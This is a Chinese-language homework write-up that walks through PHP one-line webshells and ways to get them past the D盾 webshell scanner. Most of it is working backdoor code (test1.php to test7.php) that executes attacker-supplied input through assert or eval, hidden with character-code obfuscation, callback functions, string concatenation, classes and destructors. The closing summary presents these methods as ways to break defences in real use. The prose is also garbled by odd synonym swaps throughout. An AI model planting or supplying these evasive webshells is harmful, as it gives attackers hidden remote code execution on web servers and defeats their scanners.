作业内容:
//在php版别5.x 要完成下面程序免杀怎么办? 写出变形前代码和变形后代码
<?assert($_POST['x'],'x不存在');?>
//拿D盾来做检测,看是否成功绕过
1.D盾的木马检测机制
首要编写两条最基本的一句话木马。
//shell1.php
<?@assert($_GET['sherry']);?>
//shell2.php
<?@eval($_GET['sherry']);?>
能够看到能够正常履行php语句。
运用D盾去查杀,这里用的教师发的D盾,版别号是2.0.8。看看D盾的报警提示。
两个都报警了,提示assert后门和eval后门,并提示了危险变量$_GET[‘shell’]
绕过D盾的思路,就是躲藏或许伪装assert和eval关键字及$_GET参数。
2.assert一句话木马的免杀
assert — 查看断语是否为 false。 在php5.x中,断语函数assert()是一个功能很强大的函数,assert() 会查看指定的 assertion ,如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来履行。所以能够将assert等D盾认为是高危险的关键字经过一些函数进行躲藏,配合变量函数,绕过D盾的检测机制。
2.1 array_map()函数
array_map — 为数组的每个元素应用回调函数。 array_map() 回来一个array(数组),包括将 array 的相应值作为回调的参数顺序调用 callback 后的成果(如果供给了更多数组,还会利用 arrays 传入)。callback 函数形参的数量有必要匹配 array_map() 实参中数组的数量。
语法:
array_map(myfunction,array1,array2,array3...)
咱们能够依据一句话木马的办法结构一个array_map()函数
assert($_GET[‘shell’])这个语句能够分为函数名和参数两个部分,分别用两个变量进行赋值。
$func1 = 'assert';
$array1 = array($_GET['sherry']);
然后用array_map()串起来:
array_map($func1,$func1 = $array1);
能够正常履行,可是D盾还是能检测到这几个灵敏关键字。
由于assert太显着了,咱们需求把它转换一下,最少明面上看不出来。
运用ASCII码转换一下:
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116);
然后结构一个自定义函数,把本体躲藏起来,这样和array_map关联的就是go()函数,和assart不会产生直接的联络。
//test1.php
<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['sherry']);
array_map($func1, $func1 = $array1);
?>
成功运行,并且经过D盾检测。
2.2 call_user_func()函数
call_user_func — 把第一个参数作为回调函数调用。 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
语法:
call_user_func(callable $callback, mixed ...$args): mixed
相同的,第一个参数’assert’作为回调函数,第二个参数是$_GET[‘sherry’]变量。
//test2.php
<?php
function go()
{
$func1 = 'assert';
return $func1;
}
$func1 = go();
$arg1 = $_GET['sherry'];
call_user_func($func1, $func1 = $arg1);
?>
似乎D盾并没有仔细查看call_user_func()传入的参数,所以go()函数不作ASCII改换也能够经过检测。
2.3 call_user_func_array()函数
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。 把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。
语法:
call_user_func_array(callable $callback, array $args): mixed
由于一句话木马只有一个参数,所以办法和call_user_func)()是一样的,仅有不同的是参数要以数组办法输入。
//test3.php
<?php
function go()
{
return 'assert';
}
$func1 = go();
$array1 = array($_GET['sherry']);
call_user_func_array($func1, $func1 = $array1)
?>
相同D盾也没有辨认。
3.eval一句话木马的免杀
在PHP7以后,assert是言语结构而不是函数。PHP8不再允许在命名空间中声明叫做 assert() 的函数,所以PHP7以上不能运用assert一句话木马,只能运用eval代替。
eval — 把字符串作为PHP代码履行。
咱们知道,eval是一个言语结构器,并不是系统组件函数,因此咱们在php.ini中运用disable_functions是无法禁止它的。相同的,eval不能被变量函数的办法所调用。由于它允许履行任意 PHP 代码。
依据eval的特性,咱们需求结构一行字符串代码作为eval()的参数。 由于D盾对eval的参数过滤是十分严格的,所以需求经过对$_GET[‘sherry’]拆分和变形,才能绕过D盾。
3.1 Null拼接
咱们经过结构Null变量进行拼接,如果D盾检测不严密的话,或许会忽略之后的有效参数。
<?php
$str1 = Null;
$arg1 = $_GET['sherry'];
eval($str1.$arg1);
?>
D盾检测到了危险变量$_GET,咱们再持续往前增加一些空变量。
//test4.php
<?php
$str1 = Null;
$str2 = '';
$arg1 = $_GET['sherry'];
eval($str1.$str2.$arg1);
?>
前面空变量多了,D盾没有辨认出来后边的$_GET,成功绕过。
3.2 结构函数
能够将$_GET躲藏在函数里面,同时采纳拼接或许加密等办法混淆灵敏字符串,从而绕过D盾。
//test5.php
<?php
function go()
{
return "\x00".$_GET['sherry']."\x00";
}
eval(go());
?>
3.3 结构类
将eval躲藏在类办法中,然后实例化,将$_GET[‘sherry’]传进去履行。
//test6.php
<?php
class Shell
{
var $arg;
function setarg($str)
{
$this->arg = '' . $str . null;
}
function go()
{
eval("$this->arg");
}
}
$run = new Shell;
$run->setarg($_GET['sherry']);
$run->go();
?>
3.4 析构函数
析构函数(destructor) 与结构函数相反,当对象完毕其生命周期时(例如对象地点的函数已调用完毕),系统主动履行析构函数。由于析构函数能够主动履行,所以在对象完毕调用后会主动履行eval语句。
//test7.php
<?php
class Shell
{
public $arg = '';
function __destruct()
{
eval("$this->arg");
}
}
$run = new Shell;
$run->arg = $_GET['sherry'];
?>
4.小结
能够看到,上面的所有办法都能够绕过D盾。可是以上几种办法只是基本的绕过办法,实战中或许需求综合运用上面的几种办法,以及一些更巧妙的办法,才能有效打破防御。